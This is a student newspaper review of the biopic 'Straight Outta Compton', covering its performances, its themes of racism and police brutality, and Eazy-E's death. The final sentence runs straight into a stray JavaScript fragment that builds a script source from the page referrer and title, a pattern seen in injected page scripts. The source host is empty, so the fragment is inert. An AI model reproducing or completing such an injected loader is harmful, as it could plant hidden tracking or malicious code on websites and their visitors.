Straight Outta Compton

A Movie Review

Jonathan Jimenez, Cactus Staff Writer

NWA was one of the first groups to truly put the city of Compton on the map.“I’m expressing with my full capabilities, and now I’m living in correctional facilities”, just one of the many quotes that embodied the rap group N.W.A. and their mission in the music industry. Starring Corey Hawkins as Dr. Dre, Jason Mitchell as Eazy-E, and O’Shea Jackson Jr. as his father Ice Cube, this 2 hour and 27 minute biopic shows us the rise and the fall of the iconic N.W.A. Fueled by spot on performances of many rappers from this era, Straight Outta Compton is a nostalgic roller coaster through both the musical landscape as well as the social issues of the time.

Themes of censorship, racism and even police brutality are prevalent in the film. Watching the group struggle with these issues on a daily basis and seeing their bond form as they rise to fame, produces an undeniable feeling of warmth and inspiration. Compton also captures the ruthless nature of the record industry, as contractual indifferences inevitably tears N.W.A. apart. Seeing the group dismantle and split off into different directions, only to make one last attempt to reunite that falls short, really resonated with an audience that was composed mostly of die-hard fans. This group of fans that sang along to all of the classic songs that they recognized, were also left with a feeling of what-if, as the door finally closes on this opportunity with the unexpected death of Eazy-E.

The scenes of police brutality, including brief clips of the unjust violence Rodney King suffered, as well as the riots that ensued, are a reminder of some of the issues that are still prevalent today. This spotlights the significance that the group had not only the music front, but as well as their impact on society. The rebellion that they may not have started, but certainly led, serves as a throwback to a very similar uprising sparked by artists today. Inspiring artists to express themselves with no strings attached was one of their largest impact on society, an idea that is appropriately emphasized throughout the film. This film really does an excellent job of capturing these notoriously historical events and drawing parallels to those eerily similar events in our communities today.

HIV inevitably claims rapper Eazy-E’s life, in a time in which we knew very little about it. Straight Outta Compton takes this as another opportunity to deliver what feels like an accurate depiction of an era. The scientific revelation of this disease really shook our nation and jump started our efforts in educating everyone about the disease. When Dr. Dre and the rest of the gang find out about Eazy’s condition, outdated ideas such as the belief that HIV was only present in the homo-sexual community, rise to the surface and lend a nice touch of authenticity to the film.

Hollywood does appear to have played a role in the film just a bit, however. It appears as though some of the grittier details of the groups past have been omitted entirely. Omissions such as gang infatuations as well as drug use that is documented in their music, makes the group’s appearance just a bit more family friendly. Though, you can’t really blame the guys for not trying to incriminate themselves in a blockbuster film.

Whether you’re familiar with these characters or not, you can’t help but become enamored by them. Even at times in which their decisions are questionable, you can’t help but root for this group of guys. A group that guided a censor-free renaissance not only for artists, but for all individuals looking to express themselves. Their infectious energy is felt throughout the film and it’s very easy to see how their impact lives today in many artists that we know and love.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;